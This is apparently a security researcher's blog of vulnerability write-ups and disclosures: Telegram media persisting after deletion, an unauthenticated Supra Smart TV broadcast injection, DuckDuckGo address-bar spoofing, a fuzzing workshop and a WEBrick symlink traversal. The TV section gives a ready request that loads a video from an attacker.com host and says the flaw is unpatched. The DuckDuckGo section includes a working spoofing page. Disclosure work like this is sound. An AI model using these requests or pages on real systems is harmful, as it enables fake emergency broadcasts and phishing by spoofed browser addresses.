Telegram addresses another privacy issue

Summary: This is not a security vulnerability its a privacy issue. As I understand Telegram a messaging app focuses on privacy which has over 10,00,00,000+  downloads in Playstore. In this case, we are abusing a well-known feature of deleting messages, which allows users to delete messages sent by mistake or genuinely to any recipient. It was observed that once the message (image) is sent to the recipient, it still remains in the internal storage of the user which is located at  `/Telegram/Telegram Images/`path.

Technical analysis: I found this bug when I was researching about Telegram and MTProto protocol. To demonstrate this bug let's assume two people here, Bob and Alice.

Assume a scenario where Bob sends a message which is a confidential image and was mistakenly sent to Alice, Bob proceeds to utilize a feature of Telegram known as "Also delete for Alice" which would essentially delete the message for Alice. Apparently, this feature does not work as intended, as Alice would still be able to see the image stored under `/Telegram/Telegram Images/` folder, concluding that the feature only deletes the image from the chat window.

The highlighted issue is valid when we talk about Telegram "supergroups" as well, assume a case wherein you're a part of a group with 2,000,00 members and you accidentally share a media file not meant to be shared in that particular group and proceed to delete, by checking "delete for all members" present in the group. You're relying on a functionality that is broken since your file would still be present in storage for all users.
Aside from this, I found that since Telegram takes `read/write/modify` permission of the USB storage which technically means the confidential photo should have been deleted from Alice's device or storage.

Comparison: A compete, app for Telegram which is WhatsApp also has the same feature to "Delete for everyone". If you perform the following steps mentioned above in WhatsApp it deletes the confidential photo from Alice's `/Whatsapp/Whatsapp Media/Whatsapp Images/` folder and maintains the privacy however Telegram fails. WhatsApp takes the same permission when it comes to storage which is `read/write/modify`.

This issue could have a bigger impact and I am not sure how far this was in place; the word privacy of Telegram fails here again, and users trust against the Telegram is at risk.

Video PoC:



Affected version: I have tried this with the latest stable version (5.10.0 (1684)) of Telegram for Android. I haven't tried this with Telegram for iOS and Telegram for Windows but assuming this issue would exist on other these platforms.

Responsible disclosure: I submitted this to Telegram sec-team via security[at]telegram[dot]org and a fix was pushed in the latest version of Telegram 5.11. Also €2,500 was awarded by Telegram.

Other Workaround: The alternative solution would be to utilize the feature of "New Secret Chat" in Telegram where no such traces are left.

References: Picture used above credit and source[1]. Download the PDF version of this article[2]. Later CVE-2019-16248 was assigned to this issue.

Read More

Hacking Smart TV

Summary:
Supra Smart Cloud TV allows remote file inclusion in the openLiveURL function, which allows a local attacker to broadcast fake video without any authentication via a /remote/media_control?action=setUri&uri=URI



Technical Observation: 
We are abusing `openLiveURL()` which allows a local attacker to broadcast video on supra smart cloud TV. I found this vulnerability initially by source code review and then by crawling the application and reading every request helped me to trigger this vulnerability.

Vulnerable code:

function openLiveTV(url)
{
$.get("/remote/media_control", {m_action:'setUri',m_uri:url,m_type:'video/*'},
function (data, textStatus){
if("success"==textStatus){
alert(textStatus);
}else
{
alert(textStatus);
}
});
}

Vulnerable request:

GET /remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8 HTTP/1.1
Host: 192.168.1.155
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:66.0) Gecko/20100101 Firefox/66.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

To trigger the vulnerability you can send a crafted request to the URL,

http://192.168.1.155/remote/media_control?action=setUri&uri=http://attacker.com/fake_broadcast_message.m3u8

Although the above mention URL takes (.m3u8) format based video. We can use `curl -v -X GET` to send such request, typically this is an unauth remote file inclusion. An attacker could broadcast any video without any authentication, the worst case attacker could leverage this vulnerability to broadcast a fake emergency message (Scary right?)

Although, this is still unpatched because I didn't find any-way to contact the vendor. The above video PoC shows a successful demonstration of this attack where Mr.Steve Jobs speech is suddenly replaced with attacker fake "Emergency Alert Message" this may make end user panic.

Updating! Friday, June 28, 2019

I've created an MSF module for this vulnerability which broadcast video of Epic sax guy to the remote system.

Read More

DuckDuckGo Address Bar Spoofing

Summary: The DuckDuckGo Privacy Browser application 5.26.0 for Android allows address bar spoofing via a setInterval call, as demonstrated by reloading every 50 ms.

Technical Observation: A browser that’s scoring in the 50,00,000+ tier of Android download. It was observed that the DuckDuckGo privacy browser ominibar can be spoofed by a crafted javascript page spoofing `setInterval` function and reloading the URL in every 10 to 50 ms.

Proof of concept: (Gist)

<html><body> <title>DuckDuckGo — Privacy, simplified.</title> <head><style> p.b { font-family: Arial, Helvetica, sans-serif; } </style></head><p class="b"><body bgcolor="#5DBCD2"> <h1 style="text-align:center;">We defintiely store your <br> personal information. Ever.</h1> <p style="text-align:center;">Our privacy policy is simple: we collect and share any of your personal 
information to 3rd parties.</p> </p><img src="https://duckduckgo.com/assets/onboarding/bathroomguy/4-alpinist-v2.svg"> <script> function fakefuntion() { location = "https://duckduckgo.com/" } setInterval("fakefuntion()", 50); </script></body></html>

The actual magic happens at `fakefunction()` above-crafted javascript file loads the real www.duckduckgo.com in a loop of every 50 ms whereas the inner HTML can be modified accordingly.

The above PoC shows the demonstration of the successful attack.

Timeline:
This issue was submitted to DuckDuckGo team via HackerOne on Oct 31st, 2018, DuckDuckGo rewarded with a swag on Nov 13th, 2018 but the issue was closed without a fix which says "team doesn't view it as a serious issue" and report was marked as informative. Further CVE-2019-12329 was assigned to this issue.

Read More

PHDays - Fuzzing 101

So, this year (2019) me along with my colleague Zubin delivered a workshop in PHDays 9 on fuzzing. This workshop was mainly focused on an introduction to fuzzing using AFL and ASAN.

The prime focus of the workshop would be around the following areas: Fuzzing using SPIKE, blind and input-based fuzzing (AFL), finding memory bugs using ASAN with AFL integration, protocol fuzzing (HTTP, FTP, SMTP). Then we concluded the workshop by showcasing multiple bugs found during their research.



Slides: Fuzzing-101_PHDays.pdf

Ubuntu OVA file: Ubuntu_Fuzzing101.ova  : Size: 4.x GB, 4GB RAM, 40 GB HD.
Username: PHDays
Password: E@sy

We have further plans to take an advanced workshop on this in other conferences. Fork this repository on GitHub. If you want to read more about fuzzing here is what I wrote while fuzzing WebKit.

Read More

Path Traversal in WEBrick via SYMLINK

Summary: The WEBrick gem 1.4.2 for Ruby allows directory traversal if the attacker once had local access to create a symlink to a location outside of the web root directory.

NOTE: The vendor states that this is analogous to Options FollowSymlinks in the Apache HTTP Server, and therefore it is "not a problem."

Technical Observation: A path traversal issue was observed in WEBrick (WEBrick/1.4.2 (Ruby/2.6.3/)) via symlink. WEBrick serves static page for the current directory once enabled, however using symlink attacker could view data outside the hosted/running directory.

Steps to reproduce:

mkdir nothing
 cd nothing
 ln -s ../../ symlnk
 ruby -run -ehttpd . -p8080

Impact: This would allow the attacker to view sensitive data outside the root/running directory.

Remediation: In order to solve the problem, we should simply check the absolute/real path of any user input paths and if the absolute path is outside the home directory, then return an error response, This way users will not lose the possible benefits of symbolic links.
OR
Educating users about this behavior in the docs and probably providing a flag to disable/enable the symlinks.

After reporting this to WEBrick team, they will add below statement in WEBrick documentation.

"WEBrick can be run as a production server for small loads. Be aware that symlinks might allow users to view data outside of the designated root directory, such as for the Apache webserver with the FollowSymlinks option enabled".

Documentation: https://ruby-doc.org/stdlib-2.6.3/libdoc/webrick/rdoc/WEBrick.html

Apart from WEBrick, I reported the same vulnerability in one of the npm module (simplehttpserver) via H1 but went duplicate. Also, the issue exists in python modules `SimpleHTTPServer` and `http.server` but python security team says these servers should not be used in production and they have already mentioned it in their documentation.

I also found PHP -S module and hhvm protect against this vulnerability by default, a disputed CVE-2019-11879 was assigned to this issue against WEBrick.

Read More